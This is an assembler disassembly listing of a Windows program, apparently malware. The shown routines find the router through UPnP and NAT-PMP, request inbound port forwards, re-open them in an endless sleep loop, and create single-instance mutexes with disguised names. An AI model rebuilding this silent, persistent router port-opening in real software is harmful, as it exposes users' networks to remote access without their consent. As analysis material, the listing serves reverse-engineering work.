; ---------------------------------------------------------------------------


loc_444F26:				; CODE XREF: sub_444E23+587j
		mov	[ebp+var_1884],	10h
		push	[ebp+var_404]
		push	offset aSendingIupnpDi ; "sending IUPnP	discovery request #%i...\n"...
		call	sub_449641
		pop	ecx
		pop	ecx
		push	offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
		call	sub_449A31
		pop	ecx
		push	10h
		lea	edx, [ebp+var_181C]
		push	edx
		push	0
		push	eax
		push	offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_449107
		test	eax, eax
		jge	short loc_444F81
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_4490A7
		xor	eax, eax
		jmp	loc_4453BE
; ---------------------------------------------------------------------------


loc_444F81:				; CODE XREF: sub_444E23+149j
		push	[ebp+var_404]
		push	offset aSetsockoptIupn ; "setsockopt IUPnP discovery request #%i."...
		call	sub_449641
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_1820]
		push	eax
		push	1006h
		push	0FFFFh
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_4490A1
		test	eax, eax
		jge	short loc_444FC9
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_4490A7
		xor	eax, eax
		jmp	loc_4453BE
; ---------------------------------------------------------------------------


loc_444FC9:				; CODE XREF: sub_444E23+191j
		push	[ebp+var_404]
		push	offset aReceivingIupnp ; "receiving IUPnP discovery request #%i.."...
		call	sub_449641
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1884]
		push	eax
		lea	eax, [ebp+var_189C]
		push	eax
		push	0
		push	1000h
		lea	eax, [ebp+var_1409]
		push	eax
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_44910D
		test	eax, eax
		jge	short loc_445033
		call	sub_449113
		cmp	eax, 274Ch
		jnz	short loc_445020
		cmp	[ebp+var_404], 3
		jnz	loc_44539D


loc_445020:				; CODE XREF: sub_444E23+1EEj
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_4490A7
		xor	eax, eax
		jmp	loc_4453BE
; ---------------------------------------------------------------------------


loc_445033:				; CODE XREF: sub_444E23+1E2j
		mov	eax, [ebp+var_1884]
		mov	[ebp+eax+var_1409], 0
		push	[ebp+var_404]
		push	offset aIupnpDiscovery ; "IUPnP	discovery request #%i -- checking"...
		call	sub_449641
		pop	ecx
		pop	ecx
		push	offset aSchemasUpnpOrg ; "schemas-upnp-org:service:WANIPConnectio"...
		lea	eax, [ebp+var_1409]
		push	eax
		call	sub_444832
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_445081
		push	[ebp+var_404]
		push	offset aIupnpDiscove_0 ; "IUPnP	discovery request #%i: bad (0)..."...
		call	sub_449641
		pop	ecx
		pop	ecx
		jmp	loc_44539D
; ---------------------------------------------------------------------------


loc_445081:				; CODE XREF: sub_444E23+245j
		push	offset aLocation ; "location"
		lea	eax, [ebp+var_1409]
		push	eax
		call	sub_444832
		pop	ecx
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4450B2
		push	[ebp+var_404]
		push	offset aIupnpDiscove_1 ; "IUPnP	discovery request #%i: bad (1)..."...
		call	sub_449641
		pop	ecx
		pop	ecx
		jmp	loc_44539D
; ---------------------------------------------------------------------------


loc_4450B1:				; CODE XREF: sub_444E23+297j
		inc	ebx


loc_4450B2:				; CODE XREF: sub_444E23+275j
		mov	al, [ebx]
		test	al, al
		jz	short loc_4450BC
		cmp	al, 3Ah
		jnz	short loc_4450B1


loc_4450BC:				; CODE XREF: sub_444E23+293j
		cmp	byte ptr [ebx],	0
		jz	short loc_4450C5
		inc	ebx
		jmp	short loc_4450C5
; ---------------------------------------------------------------------------


loc_4450C4:				; CODE XREF: sub_444E23+2AAj
		inc	ebx


loc_4450C5:				; CODE XREF: sub_444E23+29Cj
					; sub_444E23+29Fj
		mov	al, [ebx]
		test	al, al
		jz	short loc_4450CF
		cmp	al, 20h
		jz	short loc_4450C4


loc_4450CF:				; CODE XREF: sub_444E23+2A6j
		lea	eax, [ebp+var_1809]
		mov	[ebp+var_1834],	eax
		jmp	short loc_4450EE
; ---------------------------------------------------------------------------


loc_4450DD:				; CODE XREF: sub_444E23+2D3j
		mov	edx, [ebp+var_1834]
		mov	al, [ebx]
		mov	[edx], al
		inc	[ebp+var_1834]
		inc	ebx


loc_4450EE:				; CODE XREF: sub_444E23+2B8j
		mov	al, [ebx]
		test	al, al
		jz	short loc_4450F8
		cmp	al, 20h
		jg	short loc_4450DD


loc_4450F8:				; CODE XREF: sub_444E23+2CFj
		mov	edx, [ebp+var_1834]
		mov	byte ptr [edx],	0
		lea	eax, [ebp+var_1809]
		push	eax
		call	sub_449A31
		pop	ecx
		test	eax, eax
		jnz	short loc_445129
		push	[ebp+var_404]
		push	offset aIupnpDiscove_2 ; "IUPnP	discovery request #%i: bad (2)..."...
		call	sub_449641
		pop	ecx
		pop	ecx
		jmp	loc_44539D
; ---------------------------------------------------------------------------


loc_445129:				; CODE XREF: sub_444E23+2EDj
		mov	[ebp+var_183E],	0
		lea	eax, [ebp+var_1809]
		push	eax
		push	offset aLocationS ; "location: <%s>\n"
		call	sub_449641
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_183E]
		push	eax
		lea	eax, [ebp+var_187E]
		push	eax
		lea	eax, [ebp+var_1809]
		push	eax
		call	sub_4448CA
		add	esp, 0Ch
		mov	[ebp+var_183C],	eax
		test	eax, eax
		jnz	short loc_445183
		push	[ebp+var_404]
		push	offset aIupnpDiscove_3 ; "IUPnP	discovery request #%i: bad (3)..."...
		call	sub_449641
		pop	ecx
		pop	ecx
		jmp	loc_44539D
; ---------------------------------------------------------------------------


loc_445183:				; CODE XREF: sub_444E23+347j
		push	offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANIPConne"...
		push	[ebp+var_183C]
		call	sub_444832
		pop	ecx
		pop	ecx
		mov	[ebp+var_188C],	eax
		test	eax, eax
		jnz	short loc_4451B0
		push	[ebp+var_183C]
		call	sub_443397
		pop	ecx
		jmp	loc_44539D
; ---------------------------------------------------------------------------


loc_4451B0:				; CODE XREF: sub_444E23+37Aj
		mov	eax, [ebp+var_183C]
		mov	[ebp+var_1830],	eax


loc_4451BC:				; CODE XREF: sub_444E23+3CBj
		push	offset aService_0 ; "<service>"
		push	[ebp+var_1830]
		call	sub_444832
		pop	ecx
		pop	ecx
		mov	[ebp+var_18A0],	eax
		test	eax, eax
		jz	short loc_4451E0
		cmp	eax, [ebp+var_1830]
		jbe	short loc_4451E2


loc_4451E0:				; CODE XREF: sub_444E23+3B3j
		jmp	short loc_4451F0
; ---------------------------------------------------------------------------


loc_4451E2:				; CODE XREF: sub_444E23+3BBj
		mov	eax, [ebp+var_18A0]
		mov	[ebp+var_1830],	eax
		jmp	short loc_4451BC
; ---------------------------------------------------------------------------


loc_4451F0:				; CODE XREF: sub_444E23:loc_4451E0j
		push	offset aService	; "</service>"
		push	[ebp+var_1830]
		call	sub_444832
		pop	ecx
		pop	ecx
		mov	[ebp+var_1888],	eax
		test	eax, eax
		jnz	short loc_44521D
		push	[ebp+var_183C]
		call	sub_443397
		pop	ecx
		jmp	loc_44539D
; ---------------------------------------------------------------------------


loc_44521D:				; CODE XREF: sub_444E23+3E7j
		push	offset aControlurl ; "<controlURL>"
		push	[ebp+var_1830]
		call	sub_444832
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_44523D
		cmp	esi, [ebp+var_1888]
		jb	short loc_44524E


loc_44523D:				; CODE XREF: sub_444E23+410j
		push	[ebp+var_183C]
		call	sub_443397
		pop	ecx
		jmp	loc_44539D
; ---------------------------------------------------------------------------


loc_44524E:				; CODE XREF: sub_444E23+418j
		push	400h
		push	0
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_4499B1
		add	esp, 0Ch
		jmp	short loc_445267
; ---------------------------------------------------------------------------


loc_445266:				; CODE XREF: sub_444E23+44Cj
		inc	esi


loc_445267:				; CODE XREF: sub_444E23+441j
		mov	al, [esi]
		test	al, al
		jz	short loc_445271
		cmp	al, 3Eh
		jnz	short loc_445266


loc_445271:				; CODE XREF: sub_444E23+448j
		cmp	byte ptr [esi],	0
		jz	short loc_445277
		inc	esi


loc_445277:				; CODE XREF: sub_444E23+451j
		cmp	byte ptr [esi],	0
		jnz	short loc_44528D
		push	[ebp+var_183C]
		call	sub_443397
		pop	ecx
		jmp	loc_44539D
; ---------------------------------------------------------------------------


loc_44528D:				; CODE XREF: sub_444E23+457j
		and	[ebp+var_1838],	0
		jmp	short loc_4452AC
; ---------------------------------------------------------------------------


loc_445296:				; CODE XREF: sub_444E23+491j
		mov	eax, [ebp+var_1838]
		mov	dl, [esi]
		mov	[ebp+eax+var_400], dl
		inc	[ebp+var_1838]
		inc	esi


loc_4452AC:				; CODE XREF: sub_444E23+471j
		mov	al, [esi]
		test	al, al
		jz	short loc_4452B6
		cmp	al, 3Ch
		jnz	short loc_445296


loc_4452B6:				; CODE XREF: sub_444E23+48Dj
		mov	eax, [ebp+var_1838]
		mov	[ebp+eax+var_400], 0
		push	offset aHttp	; "http://"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_444832
		pop	ecx
		pop	ecx
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4452E6
		lea	edi, [ebp+var_400]
		jmp	short loc_445316
; ---------------------------------------------------------------------------


loc_4452E5:				; CODE XREF: sub_444E23+4CBj
		inc	edi


loc_4452E6:				; CODE XREF: sub_444E23+4B8j
		mov	al, [edi]
		test	al, al
		jz	short loc_4452F0
		cmp	al, 3Ah
		jnz	short loc_4452E5


loc_4452F0:				; CODE XREF: sub_444E23+4C7j
		cmp	byte ptr [edi],	0
		jz	short loc_4452F9
		inc	edi
		jmp	short loc_4452F9
; ---------------------------------------------------------------------------


loc_4452F8:				; CODE XREF: sub_444E23+4DEj
		inc	edi


loc_4452F9:				; CODE XREF: sub_444E23+4D0j
					; sub_444E23+4D3j
		mov	al, [edi]
		test	al, al
		jz	short loc_445303
		cmp	al, 2Fh
		jz	short loc_4452F8


loc_445303:				; CODE XREF: sub_444E23+4DAj
		cmp	byte ptr [edi],	0
		jz	short loc_44530C
		inc	edi
		jmp	short loc_44530C
; ---------------------------------------------------------------------------


loc_44530B:				; CODE XREF: sub_444E23+4F1j
		inc	edi


loc_44530C:				; CODE XREF: sub_444E23+4E3j
					; sub_444E23+4E6j
		mov	al, [edi]
		test	al, al
		jz	short loc_445316
		cmp	al, 2Fh
		jnz	short loc_44530B


loc_445316:				; CODE XREF: sub_444E23+4C0j
					; sub_444E23+4EDj
		movzx	eax, [ebp+arg_4]
		push	eax
		movzx	eax, [ebp+arg_0]
		push	eax
		push	edi
		movzx	eax, [ebp+var_183E]
		push	eax
		lea	eax, [ebp+var_187E]
		push	eax
		push	0
		call	sub_444BB7
		add	esp, 18h
		test	eax, eax
		jnz	short loc_44537A
		movzx	eax, [ebp+arg_4]
		push	eax
		movzx	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		movzx	eax, [ebp+var_183E]
		push	eax
		lea	eax, [ebp+var_187E]
		push	eax
		push	1
		call	sub_444BB7
		add	esp, 18h
		test	eax, eax
		jnz	short loc_44537A
		push	[ebp+var_183C]
		call	sub_443397
		pop	ecx
		jmp	short loc_44539D
; ---------------------------------------------------------------------------


loc_44537A:				; CODE XREF: sub_444E23+519j
					; sub_444E23+547j
		push	[ebp+var_404]
		push	offset aIupnpDiscove_4 ; "IUPnP	discovery request #%i: ok.\n"
		call	sub_449641
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_4490A7
		xor	eax, eax
		inc	eax
		jmp	short loc_4453BE
; ---------------------------------------------------------------------------


loc_44539D:				; CODE XREF: sub_444E23+1F7j
					; sub_444E23+259j ...
		inc	[ebp+var_404]


loc_4453A3:				; CODE XREF: sub_444E23+EDj
					; sub_444E23+FEj
		cmp	[ebp+var_404], 3
		jl	loc_444F26
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_4490A7
		xor	eax, eax


loc_4453BE:				; CODE XREF: sub_444E23+159j
					; sub_444E23+1A1j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_444E23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4453C5	proc near		; CODE XREF: sub_445434+16p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		and	[ebp+var_4], 0
		xor	esi, esi
		push	3Ch
		call	sub_443369
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44542E
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_449119
		cmp	eax, 7Ah
		jnz	short loc_445409
		push	ebx
		call	sub_443397
		pop	ecx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_443369
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44542E


loc_445409:				; CODE XREF: sub_4453C5+2Bj
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_449119
		test	eax, eax
		jnz	short loc_445425
		mov	eax, [ebx]
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	short loc_445425
		mov	esi, [ebx+10h]


loc_445425:				; CODE XREF: sub_4453C5+52j
					; sub_4453C5+5Bj
		push	ebx
		call	sub_443397
		pop	ecx
		mov	eax, esi


loc_44542E:				; CODE XREF: sub_4453C5+1Aj
					; sub_4453C5+42j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4453C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445434	proc near		; CODE XREF: DMN1:004458A2p
					; DMN1:00446DE6p

var_C0		= dword	ptr -0C0h
var_BC		= byte ptr -0BCh
var_B8		= dword	ptr -0B8h
var_AC		= word ptr -0ACh
var_AA		= word ptr -0AAh
var_A8		= dword	ptr -0A8h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= word ptr -94h
var_92		= word ptr -92h
var_90		= dword	ptr -90h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
var_7F		= byte ptr -7Fh
var_78		= byte ptr -78h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_9C], 0FAh
		call	sub_4453C5
		mov	[ebp+var_84], eax
		test	eax, eax
		jz	loc_44563C
		mov	[ebp+var_94], 2
		mov	eax, [ebp+var_84]
		mov	[ebp+var_90], eax
		push	14E7h
		call	sub_4490B9
		mov	[ebp+var_92], ax
		mov	eax, [ebp+var_84]
		mov	[ebp+var_98], eax
		push	eax
		call	sub_449101
		push	eax
		push	offset aDefaultGateway ; "default gateway: [%s]\n"
		call	sub_449641
		pop	ecx
		pop	ecx
		xor	ebx, ebx
		inc	ebx
		push	11h
		push	2
		push	2
		call	sub_44909B
		mov	esi, eax
		push	10h
		push	0
		lea	eax, [ebp+var_AC]
		push	eax
		call	sub_4499B1
		add	esp, 0Ch
		mov	[ebp+var_AC], 2
		mov	eax, [ebp+var_84]
		mov	[ebp+var_A8], eax
		push	14E7h
		call	sub_4490B9
		mov	[ebp+var_AA], ax
		lea	edi, [ebp+var_AC]
		push	10h
		push	edi
		push	esi
		call	sub_4490C5
		jmp	loc_44562B
; ---------------------------------------------------------------------------


loc_4454FF:				; CODE XREF: sub_445434+1FAj
		mov	[ebp+var_C0], 10h
		push	ebx
		push	offset aSendingNatPmpR ; "sending NAT-PMP request #%i...\n"
		call	sub_449641
		pop	ecx
		pop	ecx
		mov	[ebp+var_80], 0
		mov	[ebp+var_7F], 0
		push	10h
		lea	eax, [ebp+var_94]
		push	eax
		push	0
		push	2
		lea	eax, [ebp+var_80]
		push	eax
		push	esi
		call	sub_449107
		test	eax, eax
		jge	short loc_445546
		push	esi
		call	sub_4490A7
		xor	eax, eax
		jmp	loc_44563C
; ---------------------------------------------------------------------------


loc_445546:				; CODE XREF: sub_445434+103j
		push	ebx
		push	offset aSetsockoptNatP ; "setsockopt NAT-PMP request #%i...\n"
		call	sub_449641
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_9C]
		push	eax
		push	1006h
		push	0FFFFh
		push	esi
		call	sub_4490A1
		test	eax, eax
		jge	short loc_44557D
		push	esi
		call	sub_4490A7
		xor	eax, eax
		jmp	loc_44563C
; ---------------------------------------------------------------------------


loc_44557D:				; CODE XREF: sub_445434+13Aj
		push	ebx
		push	offset aReceivingNatPm ; "receiving NAT-PMP request #%i...\n"
		call	sub_449641
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_BC]
		push	eax
		push	0
		push	0Ch
		lea	eax, [ebp+var_80]
		push	eax
		push	esi
		call	sub_44910D
		test	eax, eax
		jge	short loc_4455C5
		call	sub_449113
		cmp	eax, 274Ch
		jnz	short loc_4455BB
		cmp	ebx, 9
		jnz	short loc_445624


loc_4455BB:				; CODE XREF: sub_445434+180j
		push	esi
		call	sub_4490A7
		xor	eax, eax
		jmp	short loc_44563C
; ---------------------------------------------------------------------------


loc_4455C5:				; CODE XREF: sub_445434+174j
		push	ebx
		push	offset aNatPmpRequestI ; "NAT-PMP request #%i -	ok\n"
		call	sub_449641
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_90]
		cmp	[ebp+var_B8], eax
		jnz	short loc_445624
		push	4
		lea	eax, [ebp+var_78]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_449A11
		add	esp, 0Ch
		mov	eax, [ebp+var_84]
		mov	[ebp+var_98], eax
		push	eax
		call	sub_449101
		push	eax
		push	ebx
		push	offset aNatPmpReques_0 ; "NAT-PMP request #%i -	public IP: [%s]\n"
		call	sub_449641
		add	esp, 0Ch
		push	esi
		call	sub_4490A7
		mov	eax, [ebp+var_84]
		jmp	short loc_44563C
; ---------------------------------------------------------------------------


loc_445624:				; CODE XREF: sub_445434+185j
					; sub_445434+1AAj
		inc	ebx
		shl	[ebp+var_9C], 1


loc_44562B:				; CODE XREF: sub_445434+C6j
		cmp	ebx, 0Ah
		jl	loc_4454FF
		push	esi
		call	sub_4490A7
		xor	eax, eax


loc_44563C:				; CODE XREF: sub_445434+23j
					; sub_445434+10Dj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_445434	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445643	proc near		; CODE XREF: DMN1:004458BEp
					; DMN1:00446E01p

var_C0		= dword	ptr -0C0h
var_BC		= byte ptr -0BCh
var_B8		= dword	ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= word ptr -0A4h
var_A2		= word ptr -0A2h
var_A0		= dword	ptr -0A0h
var_94		= dword	ptr -94h
var_90		= word ptr -90h
var_8E		= word ptr -8Eh
var_8C		= dword	ptr -8Ch
var_80		= byte ptr -80h
var_7F		= byte ptr -7Fh
var_7E		= byte ptr -7Eh
var_7D		= byte ptr -7Dh
var_7C		= byte ptr -7Ch
var_7A		= byte ptr -7Ah
var_78		= byte ptr -78h
var_76		= byte ptr -76h
var_75		= byte ptr -75h
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_94], 0FAh
		mov	[ebp+var_90], 2
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8C], eax
		push	14E7h
		call	sub_4490B9
		mov	[ebp+var_8E], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_A8], eax
		push	eax
		call	sub_449101
		push	eax
		push	offset aRouterIpS ; "router ip:	[%s]\n"
		call	sub_449641
		pop	ecx
		pop	ecx
		xor	esi, esi
		inc	esi
		push	11h
		push	2
		push	2
		call	sub_44909B
		mov	edi, eax
		push	10h
		push	0
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_4499B1
		add	esp, 0Ch
		mov	[ebp+var_A4], 2
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_A0], eax
		push	14E7h
		call	sub_4490B9
		mov	[ebp+var_A2], ax
		lea	eax, [ebp+var_A4]
		mov	[ebp+var_AC], eax
		push	10h
		push	[ebp+var_AC]
		push	edi
		call	sub_4490C5
		jmp	loc_445873
; ---------------------------------------------------------------------------


loc_4456FD:				; CODE XREF: sub_445643+233j
		mov	[ebp+var_C0], 10h
		push	esi
		push	offset aSendingNatPmpF ; "sending NAT-PMP fwd request #%i...\n"
		call	sub_449641
		pop	ecx
		pop	ecx
		mov	[ebp+var_80], 0
		mov	[ebp+var_7F], 2
		mov	[ebp+var_7E], 0
		mov	[ebp+var_7D], 0
		lea	ebx, [ebp+var_7C]
		movzx	eax, [ebp+arg_4]
		push	eax
		call	sub_4490B9
		mov	[ebx], ax
		lea	ebx, [ebp+var_7A]
		movzx	eax, [ebp+arg_8]
		push	eax
		call	sub_4490B9
		mov	[ebx], ax
		lea	ebx, [ebp+var_78]
		mov	word ptr [ebx],	0E10h
		mov	[ebp+var_76], 0
		mov	[ebp+var_75], 0
		push	10h
		lea	eax, [ebp+var_90]
		push	eax
		push	0
		push	0Ch
		lea	eax, [ebp+var_80]
		push	eax
		push	edi
		call	sub_449107
		test	eax, eax
		jge	short loc_44577C
		push	edi
		call	sub_4490A7
		xor	eax, eax
		jmp	loc_445884
; ---------------------------------------------------------------------------


loc_44577C:				; CODE XREF: sub_445643+12Aj
		push	esi
		push	offset aSetsockoptNa_0 ; "setsockopt NAT-PMP fwd request #%i...\n"
		call	sub_449641
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_94]
		push	eax
		push	1006h
		push	0FFFFh
		push	edi
		call	sub_4490A1
		test	eax, eax
		jge	short loc_4457B3
		push	edi
		call	sub_4490A7
		xor	eax, eax
		jmp	loc_445884
; ---------------------------------------------------------------------------


loc_4457B3:				; CODE XREF: sub_445643+161j
		push	esi
		push	offset aReceivingNat_0 ; "receiving NAT-PMP fwd	request	#%i...\n"
		call	sub_449641
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_BC]
		push	eax
		push	0
		push	10h
		lea	eax, [ebp+var_80]
		push	eax
		push	edi
		call	sub_44910D
		test	eax, eax
		jge	short loc_4457FE
		call	sub_449113
		cmp	eax, 274Ch
		jnz	short loc_4457F1
		cmp	esi, 9
		jnz	short loc_44586C


loc_4457F1:				; CODE XREF: sub_445643+1A7j
		push	edi
		call	sub_4490A7
		xor	eax, eax
		jmp	loc_445884
; ---------------------------------------------------------------------------


loc_4457FE:				; CODE XREF: sub_445643+19Bj
		push	esi
		push	offset aNatPmpFwdReque ; "NAT-PMP fwd request #%i - ok\n"
		call	sub_449641
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8C]
		cmp	[ebp+var_B8], eax
		jnz	short loc_44586C
		cmp	[ebp+var_7F], 82h
		jnz	short loc_44586C
		lea	ebx, [ebp+var_7E]
		cmp	word ptr [ebx],	0
		jnz	short loc_44586C
		lea	ebx, [ebp+var_78]
		movzx	eax, [ebp+arg_4]
		push	eax
		call	sub_4490B9
		cmp	[ebx], ax
		jnz	short loc_44586C
		lea	ebx, [ebp+var_76]
		movzx	eax, word ptr [ebx]
		push	eax
		call	sub_4490D7
		movzx	eax, ax
		push	eax
		push	esi
		push	offset aNatPmpReques_1 ; "NAT-PMP request #%i -	port: [%i]\n"
		call	sub_449641
		add	esp, 0Ch
		push	edi
		call	sub_4490A7
		movzx	eax, word ptr [ebx]
		push	eax
		call	sub_4490B9
		movzx	eax, ax
		jmp	short loc_445884
; ---------------------------------------------------------------------------


loc_44586C:				; CODE XREF: sub_445643+1ACj
					; sub_445643+1D4j ...
		inc	esi
		shl	[ebp+var_94], 1


loc_445873:				; CODE XREF: sub_445643+B5j
		cmp	esi, 0Ah
		jl	loc_4456FD
		push	edi
		call	sub_4490A7
		xor	eax, eax


loc_445884:				; CODE XREF: sub_445643+134j
					; sub_445643+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_445643	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi


loc_44588E:				; CODE XREF: DMN1:loc_44591Cj
		xor	ebx, ebx
		inc	ebx


loc_445891:				; CODE XREF: DMN1:004458A0j
		push	0EA60h
		call	dword_411D00
		inc	ebx
		cmp	ebx, 3Fh
		jl	short loc_445891
		call	sub_445434
		mov	edi, eax
		mov	eax, dword_411010
		mov	si, ax
		movzx	eax, si
		push	eax
		movzx	eax, word ptr dword_41100C
		push	eax
		push	edi
		call	sub_445643
		add	esp, 0Ch
		mov	si, ax
		test	si, si
		jz	short loc_4458EE
		movzx	eax, si
		cmp	eax, dword_411010
		jz	short loc_4458EE
		movzx	eax, si
		mov	dword_411010, eax
		push	1
		push	offset dword_411024
		call	dword_411D04


loc_4458EE:				; CODE XREF: DMN1:004458CCj
					; DMN1:004458D7j
		movzx	eax, word ptr dword_41100C
		push	eax
		push	eax
		call	sub_444E23
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_44591C
		mov	eax, dword_41100C
		cmp	dword_411010, eax
		jz	short loc_44591C
		push	1
		push	offset dword_411024
		call	dword_411D04


loc_44591C:				; CODE XREF: DMN1:00445900j
					; DMN1:0044590Dj
		jmp	loc_44588E
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_445925	proc near		; CODE XREF: sub_448AD1+77p
		push	ebx
		cmp	dword_411018, 0
		jz	short loc_445933
		xor	eax, eax
		jmp	short loc_445977
; ---------------------------------------------------------------------------


loc_445933:				; CODE XREF: sub_445925+8j
		xor	ebx, ebx
		push	offset a_win32__wnss_s ; "_win32__wnss_sdm__"
		push	0
		push	0
		call	dword_411D08
		mov	dword_411018, eax
		cmp	dword_411018, 0
		jz	short loc_445975
		call	dword_411CE8
		cmp	eax, 0B7h
		jnz	short loc_445975
		xor	ebx, ebx
		inc	ebx
		push	dword_411018
		call	dword_411CF8
		and	dword_411018, 0


loc_445975:				; CODE XREF: sub_445925+2Bj
					; sub_445925+38j
		mov	eax, ebx


loc_445977:				; CODE XREF: sub_445925+Cj
		pop	ebx
		retn
sub_445925	endp


; =============== S U B	R O U T	I N E =======================================



sub_445979	proc near		; CODE XREF: DMN1:loc_44630Bp
					; DMN1:004463B0p ...
		push	ebx
		push	esi
		xor	esi, esi
		push	offset a_win32__wnss_s ; "_win32__wnss_sdm__"
		push	0
		push	100000h
		call	dword_411D0C
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4459A1
		xor	esi, esi
		inc	esi
		push	ebx
		call	dword_411CF8
		xor	ebx, ebx


loc_4459A1:				; CODE XREF: sub_445979+1Aj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_445979	endp


; =============== S U B	R O U T	I N E =======================================



sub_4459A6	proc near		; CODE XREF: sub_448AD1+C5p
		cmp	dword_411018, 0
		jz	short locret_4459C2
		push	dword_411018
		call	dword_411CF8
		and	dword_411018, 0

locret_4459C2:				; CODE XREF: sub_4459A6+7j
		retn
sub_4459A6	endp

; ---------------------------------------------------------------------------
		push	ebx
		cmp	dword_41101C, 0
		jz	short loc_4459D1
		xor	eax, eax
		jmp	short loc_445A15
; ---------------------------------------------------------------------------


loc_4459D1:				; CODE XREF: DMN1:004459CBj
		xor	ebx, ebx
		push	offset a_win32__wnss_0 ; "_win32__wnss_sm__"
		push	0
		push	0
		call	dword_411D08
		mov	dword_41101C, eax
		cmp	dword_41101C, 0
		jz	short loc_445A13
		call	dword_411CE8
		cmp	eax, 0B7h
		jnz	short loc_445A13
		xor	ebx, ebx
		inc	ebx
		push	dword_41101C
		call	dword_411CF8
		and	dword_41101C, 0


loc_445A13:				; CODE XREF: DMN1:004459EEj
					; DMN1:004459FBj
		mov	eax, ebx


loc_445A15:				; CODE XREF: DMN1:004459CFj
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_445A17	proc near		; CODE XREF: DMN1:0044886Ep
					; DMN1:loc_4489F8p
		push	ebx
		push	esi
		xor	esi, esi
		push	offset a_win32__wnss_0 ; "_win32__wnss_sm__"
		push	0
		push	100000h
		call	dword_411D0C
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_445A3F
		xor	esi, esi
		inc	esi
		push	ebx
		call	dword_411CF8
		xor	ebx, ebx


loc_445A3F:				; CODE XREF: sub_445A17+1Aj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_445A17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445A44	proc near		; CODE XREF: DMN1:00445E29p
					; sub_448AD1+FBp ...

var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_844		= byte ptr -844h
var_44		= dword	ptr -44h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_C]
		test	esi, esi
		jz	short loc_445A5C
		and	dword ptr [esi], 0


loc_445A5C:				; CODE XREF: sub_445A44+13j
		push	44h
		push	0
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_4499B1
		add	esp, 0Ch
		mov	[ebp+var_44], 44h
